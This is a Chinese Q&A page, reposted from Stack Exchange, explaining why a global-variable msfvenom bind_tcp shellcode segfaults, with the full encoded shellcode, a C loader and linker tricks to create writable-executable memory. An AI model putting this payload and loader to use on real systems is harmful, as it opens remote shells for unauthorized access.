You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

全局变量定义Msfvenom bind_tcp Shellcode无法运行的原因及解决方法

问题:全局变量定义的Shellcode触发段错误,局部变量却正常运行?

问题背景

用msfvenom生成x64绑定TCP的shellcode:

msfvenom -p linux/x64/shell/bind_tcp -b "\x00" -f c RHOST=172.31.31.179 LPORT=1234

将生成的shellcode定义为全局变量并放到.text子段的C代码:

#include <stdio.h>
#include <string.h>

__attribute__((section(".text#")))
unsigned char code[] = 
        "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef"
        "\xff\xff\xff\x48\xbb\xce\xce\x52\xea\xc0\xc8\xf1\x54\x48"
        "\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xa4\xe7\x0a"
        "\x73\xaa\xca\xae\x3e\xcf\x90\x5d\xef\x88\x5f\xa3\x93\xca"
        "\xea\x50\xea\xc4\x1a\xb9\xdd\x28\xa4\x42\xb0\xaa\xf9\xa9"
        "\x5b\xcb\x97\x38\xd8\x98\xc7\xf4\x1c\x58\xa4\x79\xb2\xcf"
        "\xcd\xa1\x02\x91\xa4\x5b\xb2\x59\x7e\xe1\x1c\x47\x18\x1f"
        "\xdb\x09\xa2\xd3\x15\x94\x7c\x55\xe5\xc5\x80\x67\x1c\x59"
        "\x91\x5d\xef\x3f\x2e\xf1\x54";


int main() {
    printf("Shellcode Length %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

用以下命令编译:

gcc -z execstack -fno-stack-protector -o shellCode shellCode.c

运行./shellCode触发段错误,但将code数组移到main函数内作为局部变量(移除__attribute__)后,代码可正常运行,能被msfconsole成功利用。

对比两个版本的ELF文件,发现核心差异:

  • 全局变量版本:shellcode位于.text下的code子段,反汇编出现大量(bad)指令,执行时崩溃
  • 局部变量版本:shellcode被复制到栈上,反汇编正常,执行无问题

原因分析

这不是msfvenom的强制要求,而是shellcode的编码特性导致的:
你生成shellcode时指定了-b "\x00"(过滤空字节),msfvenom会自动使用异或编码对shellcode加密,生成的shellcode开头包含一个解码循环——它会在原地修改自身内存,把加密的字节解码成原始可执行指令。

  • 全局变量版本:虽然把code放到了.text段,但默认情况下,.text段(包括其子段)是只读的(ELF段权限为RX,无W)。当解码循环尝试修改shellcode自身内存时,会触发内存访问错误(段错误)。
  • 局部变量版本:shellcode存储在栈上,你用-z execstack开启了栈的可执行权限,同时栈本身是可写的(权限RWX),所以解码循环可以正常修改自身,完成解码后执行原始shellcode。

绕过方法

要让全局变量版本正常运行,核心是让shellcode所在的内存区域同时具备可写+可执行权限,有几种可行方案:

1. 修改段属性,让.text子段可写

修改__attribute__指定段属性,配合链接器参数修改子段权限:

__attribute__((section(".text#"), used, aligned(16)))
unsigned char code[] = "..."; // 你的shellcode内容

编译时添加链接器参数:

gcc -z execstack -fno-stack-protector -Wl,--omagic -o shellCode shellCode.c

--omagic会让.text段同时具备读写执行权限,是最简单的快速修改方式。

2. 将shellcode放到自定义的可写可执行段

定义一个自定义段,比如.shellcode,并通过链接器参数指定其权限:

__attribute__((section(".shellcode"), used))
unsigned char code[] = "..."; // 你的shellcode内容

编译时使用链接器参数指定段权限:

gcc -z execstack -fno-stack-protector -Wl,-z,wxneeded -o shellCode shellCode.c

或者编写ld脚本shellcode.ld精准控制:

SECTIONS {
    .shellcode : { *(.shellcode) }
}
PHDRS {
    shellcode PT_LOAD FLAGS(7); /* 7 = R+W+X */
}

然后编译:

gcc -z execstack -fno-stack-protector -T shellcode.ld -o shellCode shellCode.c

3. 关闭shellcode编码(如果允许空字节)

如果你的场景不需要过滤空字节(-b "\x00"),可以直接生成无编码的shellcode:

msfvenom -p linux/x64/shell/bind_tcp -f c RHOST=172.31.31.179 LPORT=1234

这种shellcode不需要原地解码,直接放在只读的.text段也能正常执行,因为它不会修改自身内存。

内容的提问来源于stack exchange,提问作者heturing

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.10 20:27:06